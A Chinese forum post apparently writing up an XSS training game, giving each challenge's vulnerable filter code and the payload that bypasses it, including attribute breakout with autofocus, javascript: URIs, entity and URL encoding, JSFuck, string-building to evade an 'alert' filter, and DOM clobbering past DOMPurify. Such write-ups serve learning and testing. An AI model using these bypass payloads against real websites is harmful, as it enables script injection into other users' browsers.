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XSS Game分析以及知识点总结
aiyun 2020-8-22 只看Ta

XSS Game 分析以及知识点总结

最近，正在学习XSS各种Bypass姿势，发现了某位Youtuber搭建的XSS Game平台，感觉还不错，正好用来实践XSS Bypass的技巧。在此分享给大家，如有任何问题，可留言探讨。本人也是小白一个，文章中如果出现错误，请大家指正。

题目概述

每道题目会给出XSS过滤器的实现，要求在没有用户交互的前提下弹框（alert(1337)），在Chrome下测试通过即可。话不多说，步入正文。

题目

1. Ma Spaghet

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
   spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

分析：本题基本上是送分题，没有任何过滤，二话不说直接干。

答案：<svg onload=alert(1337)>

2. Jefff

<!-- Challenge -->
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

分析：本题也没有任何过滤，解题的核心在于能让jeff这个变量里包含alert(1337)并且能够执行，同时保证ma = "Ma name ${jeff}"这个赋值语句的语法正确即可。可以选择使用-进行分割。

答案："-alert(1337)-"。对答案稍作解释，以免小白不理解。将变量jeff替换后，语句变为ma = "Ma name "-alert(1337)-""。首先，这是一个合法的表达式。JS为了进行-运算，会对每部分进行解析，在解析过程中，会执行alert(1337)。

3. Ugandan Knuckles

<!-- Challenge -->
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

分析：从代码中可以看到，变量wey是插入到了<input>元素的属性中，同时对尖括号（<>）进行了过滤。既然无法使用尖括号对<input>标签进行闭合，那么可以尝试用双引号闭合标签内部的属性。同时，使用autofocus来自动触发onfocus事件中对应的函数，避免用户交互。

答案："onfocus=alert(1337) autofocus="

4. Ricardo Milos

<!-- Challenge -->
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

分析：从代码中可以看出，用户的输入ricardo会成为表单提交的URL地址。由于没有任何过滤，可以直接使用javascript伪协议来执行弹框。

答案：javascript:alert(1337)

5. Ah That's Hawt

<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

分析：本题难度加大一点，过滤掉了(`)\这几个符号，显然不能直接alert(1337)进行弹框。但是过滤器并没有考虑到HTML实体编码，所以我们可以用HTML实体编码来绕过过滤。同时，因为HTML实体编码中有&，在传参到URL里时，要再经过一次URL编码。

答案：

<!--  无任何编码-->
<svg onload="alert(1337)">
<!-- HTML实体编码 -->
<svg onload="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x33;&#x33;&#x37;&#x29;">
<!-- URL编码，最终答案 -->
%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

6. Ligma

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

分析：根据代码可见，过滤器过滤掉了所有的字母和数字。可以采用JSFuck来绕过。JSFuck可以将正常的JS代码混淆为只包含[, ], (, ), !, +这6种字符的字符串。可查阅Github来了解JSFuck的具体工作原理。

答案：

// JSFuck转换后的alert(1337)
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
// 由于有特殊字符，需要经过URL编码
"%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()"

7. Mafia

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

分析：本题存在三个限制

  • 截取长度50的字符串
  • `'"+-!\[]被替换为_
  • alert被替换为_

长度的限制导致我们不能像上一题一样直接使用JSFuck来绕过过滤。本题的核心是如何绕过alert字符串的检测。可以使用如下几种办法。

  • 定义匿名函数，利用匿名函数的参数构造payload，同时使用正则表达式来绕过alert字符串的检测。
  • 利用数字和字符串之间的互相转换，来绕过针对alert的检测。
  • 在URL地址后面加上#${payload}，然后通过location.hash.slice(1)来获取payload，也能做到绕过检测。

答案：

// 匿名函数
Function(/ALERT(1337)/.source.toLowerCase())()
// 数字转字符串，将30进制的数字8680439转换成字符串，就是alert
eval(8680439..toString(30))(1337)
// 在原始的URL后面加上 #alert(1337)，然后通过下面的语句将payload取出
eval(location.hash.slice(1))

8. Ok, Boomer

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

分析：本题中使用了DOMPurify这个第三方库来过滤非法字符。同时，setTimeout(ok, 2000)中的ok可以接收一个函数或者字符串。如果我们能够向ok这个变量注入可执行的payload，那么也就能成功弹框。在此，我们可以使用DOM Clobbering的方式，通过向HTML注入DOM元素，来实现操作JavaScript变量。

首先，要构造一个变量ok，我们可以通过创建一个id=ok的DOM元素来实现，比如<div id="ok"></div>。

然后，要考虑如何构造alert(1337)这个字符串。ok需要接受一个字符串作为值，而在对<a>标签调用toString()方法时，会返回属性href的值。所以，我们可以选择<a>标签作为构造对象。href的值要遵守protocol:uri的格式。然而，在href里直接使用javascript:协议是不行的。通过查看DOMPurify的源码可以发现，它支持的合法的协议有mailto, tel, xmpp等等，随便选择一个即可。

答案：<a id=ok href=tel:alert(1337)> 

关于DOM Clobbering的讲解，可以参考这篇文章

总结

通过这次的XSS Game，学习到了以下几点常用技巧：

  • -能够用来闭合HTML标签内部属性。
  • onfocus和autofocus配合自动触发payload执行。
  • javascript:伪协议执行payload。
  • HTML实体编码+URL编码绕过某些特殊符号过滤。
  • JSFuck混淆代码。
  • 数字转字符串和构造匿名函数绕过对某些特定字符串（比如alert）的检查。
  • DOM Clobbering，通过注入HTML元素，实现对JavaScript变量的赋值操作。
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